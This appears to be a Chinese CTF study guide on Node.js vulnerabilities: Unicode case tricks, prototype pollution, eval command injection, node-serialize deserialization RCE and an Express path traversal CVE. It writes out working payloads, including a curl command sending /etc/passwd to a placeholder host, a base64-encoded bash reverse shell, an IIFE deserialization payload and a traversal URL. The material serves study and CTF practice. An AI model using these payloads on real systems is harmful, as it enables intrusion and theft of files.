NodeJS常见题型

0x00 序言

之前看各位大师傅说以后web会向python,js,java(主要是java)发展,php的题目会越来越少.这次公益赛就遇到了.好好学习一下.

0x01 javascript大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过.
HackTM中一道Node.js题分析(Draw with us)

0x02 js原型链污染

2.1prototype和proto

Javascript里每个类都有一个prototype的属性,用来绑定所有对象都会有变量与函数,对象的构造函数又指向类本身,同时对象的proto属性也指向类的prototype。因此,有以下关系:

1
2
3
4
5
6
a={}
{}
a.constructor.prototype == Object.prototype
true
a.__proto__ == Object.prototype
true

所以,总结一下:

  • prototype是一个类的属性,所有类对象在实例化的时候将会拥有prototype中的属性和方法
  • 一个对象的proto属性,指向这个对象所在的类的prototype属性

    2.2JavaScript原型链继承

    并且,类的继承是通过原型链传递的,一个类的prototype属性指向其继承的类的一个对象。所以一个类的prototype.proto等于其父类的prototype,当然也等于该类对象的proto.proto属性。

我们获取某个对象的某个成员时,如果找不到,就会通过原型链一步步往上找,直到某个父类的原型为null为止。所以修改对象的某个父类的prototype的原型就可以通过原型链影响到跟此类有关的所有对象。

所有类对象在实例化的时候将会拥有prototype中的属性和方法,这个特性被用来实现JavaScript中的继承机制。

比如:

1
2
3
4
5
6
7
8
9
10
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father()
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)

总结一下,对于对象son,在调用son.last_name的时候,实际上JavaScript引擎会进行如下操作:

  1. 在对象son中寻找last_name
  2. 如果找不到,则在son.proto中寻找last_name
  3. 如果仍然找不到,则继续在son.proto.proto中寻找last_name
  4. 依次寻找,直到找到null结束。比如,Object.prototype的proto就是null

JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。

以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:

  1. 每个构造函数(constructor)都有一个原型对象(prototype)
  2. 对象的proto属性,指向类的原型对象prototype
  3. JavaScript使用prototype链实现继承机制

    2.3原型链污染

  4. 1中说到,foo.proto指向的是Foo类的prototype。那么,如果我们修改了foo.proto中的值,是不是就可以修改Foo类呢?

做个简单的实验:

1
2
3
4
5
6
7
8
9
10
11
12
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)

原因也显而易见:因为前面我们修改了foo的原型foo.proto.bar = 2,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {},zoo对象自然也有一个bar属性了。

那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。

这里还有个例子:

1
2
3
4
5
6
7
8
9
10
a = {}
{}
b = {}
{}
a.__proto__.c = '123'
"123"
a.c
"123"
b.c
"123"

2.4污染的应用情况

在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?

我们思考一下,哪些情况下我们可以设置proto的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:

  • 对象merge
  • 对象clone(其实内核就是将待操作的对象merge到一个空对象中)
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    以对象merge为例,我们想象一个简单的merge函数:
    function merge(target, source) {
    for (let key in source) {
    if (key in source && key in target) {
    merge(target[key], source[key])
    } else {
    target[key] = source[key]
    }
    }
    }

在合并的过程中,存在赋值的操作target[key] = source[key],那么,这个key如果是proto,是不是就可以原型链污染呢?
我们用如下代码实验一下:

1
2
3
4
5
6
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)

结果是,合并虽然成功了,但原型链没有被污染
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, “proto“: {b: 2}})中,proto已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b],proto并不是一个key,自然也不会修改Object的原型。

那么,如何让proto被认为是一个键名呢?

1
2
3
4
5
6
7
8
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)

o3 = {}
console.log(o3.b)

可见,新建的o3对象,也存在b属性,说明Object已经被污染
这是因为,JSON解析的情况下,proto会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。

merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。

0x03 危险函数导致命令执行

3.1eval()

eval() 函数可计算某个字符串,并执行其中的的 JavaScript 代码。和PHP中eval函数一样,如果传递到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。

1
2
3
4
5
6
7
8
9
10
简单例子main.js:
var express = require("express");
var app = express();
app.get('/eval',function(req,res){
res.send(eval(req.query.q));
console.log(req.query.q);
})
var server = app.listen(8888, function() {
console.log("应用实例,访问地址为 http://127.0.0.1:8888/");
})

漏洞利用:
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require(‘child_process’).exec(‘’);来进行调用。

弹计算器(windows):

1
/eval?q=require('child_process').exec('calc');

读取文件(linux):

1
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;

反弹shell(linux):

1
/eval?q=require('child_process').exec('echo YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx|base64 -d|bash');

YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvMzMzMyAwPiYx是bash -i >& /dev/tcp/127.0.0.1/3333 0>&1 BASE64加密后的结果,直接调用会报错。
注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)

如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load(‘child_process’).exec(‘calc’)来执行命令.

3.2类似命令

1
2
3
4
间隔两秒执行函数:
setInteval(some_function, 2000)
两秒后执行函数:
setTimeout(some_function, 2000);

some_function处就类似于eval函数的参数

1
2
输出HelloWorld:
Function("console.log('HelloWolrd')")()

类似于php中的create_function
以上都可以导致命令执行

0x04 node-serialize反序列化RCE漏洞(CVE-2017-5941)

漏洞出现在node-serialize模块0.0.4版本当中.

4.1了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();

4.2node-serialize@0.0.4漏洞点

漏洞代码位于node_modules\node-serialize\lib\serialize.js大概75行中:

1
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');

可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。

4.3构造Payload

1
2
3
4
5
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

生成的Payload为:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}

因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:

1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}

(这里不能直接在对象内定义IIFE表达式,不然会序列化失败)
传递给unserialize(注意转义单引号):

1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);

执行命令成功

0x05 Node.js 目录穿越漏洞复现(CVE-2017-14849)

在vulhub上面可以直接下载到环境。

漏洞影响的版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5
    1
    2
    3
    4
    运行漏洞环境:
    cd vulhub/node/CVE-2017-14849/
    docker-compose build
    docker-compose up -d

用Burpsuite获取(GET)地址:/static/../../../a/../../../../etc/passwd 即可下载到/etc/passwd文件.
具体分析可见:Node.js CVE-2017-14849 漏洞分析

0%